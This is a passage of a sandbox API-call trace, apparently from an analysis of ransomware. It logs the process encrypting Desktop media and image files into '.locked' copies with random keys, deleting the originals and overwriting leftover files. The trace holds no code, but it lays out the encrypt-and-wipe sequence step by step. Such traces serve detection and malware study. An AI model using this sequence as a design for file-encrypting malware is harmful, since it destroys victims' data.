	[0070.497] SetEvent (hEvent=0x80) returned 1
	[0070.497] SetEvent (hEvent=0xb4) returned 1
	[0070.497] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.498] SetEvent (hEvent=0xb4) returned 1
	[0070.499] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.499] SetEvent (hEvent=0xb4) returned 1
	[0070.500] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.500] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.500] SetEvent (hEvent=0xb4) returned 1
	[0070.500] SetEvent (hEvent=0x80) returned 1
	[0070.500] SetEvent (hEvent=0x78) returned 1
	[0070.500] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.500] SetEvent (hEvent=0x78) returned 1
	[0070.501] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\m26Dpmh_oT.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\m26dpmh_ot.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.501] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0070.502] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0070.517] CloseHandle (hObject=0xc0) returned 1
	[0070.525] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\m26Dpmh_oT.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\m26dpmh_ot.bmp")) returned 1
	[0070.534] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\pNpGn.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\pnpgn.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1ead3e0, ftCreationTime.dwHighDateTime=0x1d4cbf7, ftLastAccessTime.dwLowDateTime=0x1583cb40, ftLastAccessTime.dwHighDateTime=0x1d4c6eb, ftLastWriteTime.dwLowDateTime=0x1583cb40, ftLastWriteTime.dwHighDateTime=0x1d4c6eb, nFileSizeHigh=0x0, nFileSizeLow=0xae04)) returned 1
	[0070.534] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\pNpGn.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\pnpgn.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.534] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0070.535] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\pNpGn.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\pnpgn.bmp.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0070.535] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0070.535] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c540 | out: pbBuffer=0x1238c540) returned 1
	[0070.535] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8160 | out: pbBuffer=0x127a8160) returned 1
	[0070.535] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc301 | out: pbBuffer=0x123bc301) returned 1
	[0070.536] WriteFile (in: hFile=0xc4, lpBuffer=0x1240b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x1240b000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0070.538] SetEvent (hEvent=0x80) returned 1
	[0070.538] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0xae04, lpOverlapped=0x0) returned 1
	[0070.539] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xae04, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0xae04, lpOverlapped=0x0) returned 1
	[0070.540] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0070.540] CloseHandle (hObject=0xc4) returned 1
	[0070.541] CloseHandle (hObject=0xc0) returned 1
	[0070.542] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0070.542] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.542] SetEvent (hEvent=0x80) returned 1
	[0070.542] SetEvent (hEvent=0x78) returned 1
	[0070.542] SetEvent (hEvent=0xb4) returned 1
	[0070.542] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.543] SetEvent (hEvent=0xb4) returned 1
	[0070.543] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x3d, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee83c*=0x3d) returned 1
	[0070.544] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\pNpGn.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\pnpgn.bmp")) returned 1
	[0070.562] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.563] SetEvent (hEvent=0xa8) returned 1
	[0070.563] SetEvent (hEvent=0x78) returned 1
	[0070.567] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.568] SetEvent (hEvent=0x78) returned 1
	[0070.568] SetEvent (hEvent=0xb4) returned 1
	[0070.568] SetEvent (hEvent=0x80) returned 1
	[0070.568] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.568] SetEvent (hEvent=0x80) returned 1
	[0070.570] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.570] SetEvent (hEvent=0x80) returned 1
	[0070.570] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.570] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.571] SetEvent (hEvent=0x80) returned 1
	[0070.571] SetEvent (hEvent=0xb4) returned 1
	[0070.571] SetEvent (hEvent=0x78) returned 1
	[0070.571] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.571] SetEvent (hEvent=0x78) returned 1
	[0070.571] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\pNpGn.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\pnpgn.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.572] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0070.572] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0070.590] CloseHandle (hObject=0xc0) returned 1
	[0070.598] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\pNpGn.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\pnpgn.bmp")) returned 1
	[0070.607] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\px23TfmpUYS.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\px23tfmpuys.mkv"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75bc0e40, ftCreationTime.dwHighDateTime=0x1d4c912, ftLastAccessTime.dwLowDateTime=0x4cfe8620, ftLastAccessTime.dwHighDateTime=0x1d4c8e2, ftLastWriteTime.dwLowDateTime=0x4cfe8620, ftLastWriteTime.dwHighDateTime=0x1d4c8e2, nFileSizeHigh=0x0, nFileSizeLow=0x3256)) returned 1
	[0070.607] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\px23TfmpUYS.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\px23tfmpuys.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.608] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0070.608] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\px23TfmpUYS.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\px23tfmpuys.mkv.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0070.608] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0070.608] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c540 | out: pbBuffer=0x1238c540) returned 1
	[0070.609] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8160 | out: pbBuffer=0x127a8160) returned 1
	[0070.609] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc281 | out: pbBuffer=0x123bc281) returned 1
	[0070.609] WriteFile (in: hFile=0xc4, lpBuffer=0x1240b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x1240b000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0070.611] SetEvent (hEvent=0xb4) returned 1
	[0070.611] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x3256, lpOverlapped=0x0) returned 1
	[0070.612] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x3256, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x3256, lpOverlapped=0x0) returned 1
	[0070.612] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0070.613] CloseHandle (hObject=0xc4) returned 1
	[0070.613] CloseHandle (hObject=0xc0) returned 1
	[0070.614] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.614] SetEvent (hEvent=0xb4) returned 1
	[0070.614] SetEvent (hEvent=0x78) returned 1
	[0070.614] SetEvent (hEvent=0x80) returned 1
	[0070.614] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.615] SetEvent (hEvent=0xa8) returned 1
	[0070.615] SetEvent (hEvent=0x80) returned 1
	[0070.615] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x43, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee83c*=0x43) returned 1
	[0070.616] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\px23TfmpUYS.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\px23tfmpuys.mkv")) returned 1
	[0070.634] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.634] SetEvent (hEvent=0xa8) returned 1
	[0070.634] SetEvent (hEvent=0x78) returned 1
	[0070.639] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.639] SetEvent (hEvent=0x78) returned 1
	[0070.639] SetEvent (hEvent=0x80) returned 1
	[0070.639] SetEvent (hEvent=0xb4) returned 1
	[0070.639] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.639] SetEvent (hEvent=0xb4) returned 1
	[0070.641] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.641] SetEvent (hEvent=0xb4) returned 1
	[0070.641] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.642] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.642] SetEvent (hEvent=0xb4) returned 1
	[0070.642] SetEvent (hEvent=0x80) returned 1
	[0070.642] SetEvent (hEvent=0x78) returned 1
	[0070.642] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.642] SetEvent (hEvent=0x78) returned 1
	[0070.643] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\px23TfmpUYS.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\px23tfmpuys.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.643] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0070.644] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0070.671] CloseHandle (hObject=0xc0) returned 1
	[0070.680] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\px23TfmpUYS.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\px23tfmpuys.mkv")) returned 1
	[0070.689] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\qrtc3nFE.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\qrtc3nfe.avi"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3579ea0, ftCreationTime.dwHighDateTime=0x1d4c636, ftLastAccessTime.dwLowDateTime=0xb8f8be50, ftLastAccessTime.dwHighDateTime=0x1d4d0e3, ftLastWriteTime.dwLowDateTime=0xb8f8be50, ftLastWriteTime.dwHighDateTime=0x1d4d0e3, nFileSizeHigh=0x0, nFileSizeLow=0x91d4)) returned 1
	[0070.689] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\qrtc3nFE.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\qrtc3nfe.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.689] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0070.689] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\qrtc3nFE.avi.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\qrtc3nfe.avi.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0070.690] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0070.690] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c540 | out: pbBuffer=0x1238c540) returned 1
	[0070.690] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8160 | out: pbBuffer=0x127a8160) returned 1
	[0070.690] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc281 | out: pbBuffer=0x123bc281) returned 1
	[0070.690] WriteFile (in: hFile=0xc4, lpBuffer=0x1240b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x1240b000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0070.692] SetEvent (hEvent=0x80) returned 1
	[0070.692] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x91d4, lpOverlapped=0x0) returned 1
	[0070.694] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x91d4, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x91d4, lpOverlapped=0x0) returned 1
	[0070.694] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0070.694] CloseHandle (hObject=0xc4) returned 1
	[0070.695] CloseHandle (hObject=0xc0) returned 1
	[0070.696] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0070.696] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.696] SetEvent (hEvent=0x80) returned 1
	[0070.696] SetEvent (hEvent=0x78) returned 1
	[0070.696] SetEvent (hEvent=0xb4) returned 1
	[0070.696] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.697] SetEvent (hEvent=0xa8) returned 1
	[0070.697] SetEvent (hEvent=0xb4) returned 1
	[0070.697] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x40, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee83c*=0x40) returned 1
	[0070.698] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\qrtc3nFE.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\qrtc3nfe.avi")) returned 1
	[0070.716] SetEvent (hEvent=0x78) returned 1
	[0070.720] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.720] SetEvent (hEvent=0x78) returned 1
	[0070.720] SetEvent (hEvent=0xb4) returned 1
	[0070.720] SetEvent (hEvent=0x80) returned 1
	[0070.720] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.721] SetEvent (hEvent=0x80) returned 1
	[0070.722] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.722] SetEvent (hEvent=0x80) returned 1
	[0070.723] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.723] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.723] SetEvent (hEvent=0x80) returned 1
	[0070.723] SetEvent (hEvent=0xb4) returned 1
	[0070.723] SetEvent (hEvent=0x78) returned 1
	[0070.723] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.723] SetEvent (hEvent=0x78) returned 1
	[0070.724] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\qrtc3nFE.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\qrtc3nfe.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.724] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0070.724] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0070.740] CloseHandle (hObject=0xc0) returned 1
	[0070.749] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\qrtc3nFE.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\qrtc3nfe.avi")) returned 1
	[0070.757] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\x5z-b33wQMuCpUod67F.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\x5z-b33wqmucpuod67f.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94b596c0, ftCreationTime.dwHighDateTime=0x1d4cbfd, ftLastAccessTime.dwLowDateTime=0x97c968a0, ftLastAccessTime.dwHighDateTime=0x1d4cc0c, ftLastWriteTime.dwLowDateTime=0x97c968a0, ftLastWriteTime.dwHighDateTime=0x1d4cc0c, nFileSizeHigh=0x0, nFileSizeLow=0x1191b)) returned 1
	[0070.757] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\x5z-b33wQMuCpUod67F.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\x5z-b33wqmucpuod67f.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.757] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0070.758] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\x5z-b33wQMuCpUod67F.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\x5z-b33wqmucpuod67f.bmp.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0070.758] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0070.758] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c540 | out: pbBuffer=0x1238c540) returned 1
	[0070.758] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8160 | out: pbBuffer=0x127a8160) returned 1
	[0070.759] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0070.759] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0070.761] SetEvent (hEvent=0xb4) returned 1
	[0070.761] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x1191b, lpOverlapped=0x0) returned 1
	[0070.763] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x1191b, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x1191b, lpOverlapped=0x0) returned 1
	[0070.764] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0070.764] CloseHandle (hObject=0xc4) returned 1
	[0070.766] CloseHandle (hObject=0xc0) returned 1
	[0070.766] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.766] SetEvent (hEvent=0xb4) returned 1
	[0070.766] SetEvent (hEvent=0x78) returned 1
	[0070.766] SetEvent (hEvent=0x80) returned 1
	[0070.766] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.767] SetEvent (hEvent=0xa8) returned 1
	[0070.767] SetEvent (hEvent=0x80) returned 1
	[0070.767] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4b, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee83c*=0x4b) returned 1
	[0070.768] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\x5z-b33wQMuCpUod67F.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\x5z-b33wqmucpuod67f.bmp")) returned 1
	[0070.786] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.787] SetEvent (hEvent=0xa8) returned 1
	[0070.787] SetEvent (hEvent=0x78) returned 1
	[0070.791] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.791] SetEvent (hEvent=0x78) returned 1
	[0070.791] SetEvent (hEvent=0x80) returned 1
	[0070.791] SetEvent (hEvent=0xb4) returned 1
	[0070.791] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.792] SetEvent (hEvent=0xb4) returned 1
	[0070.793] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
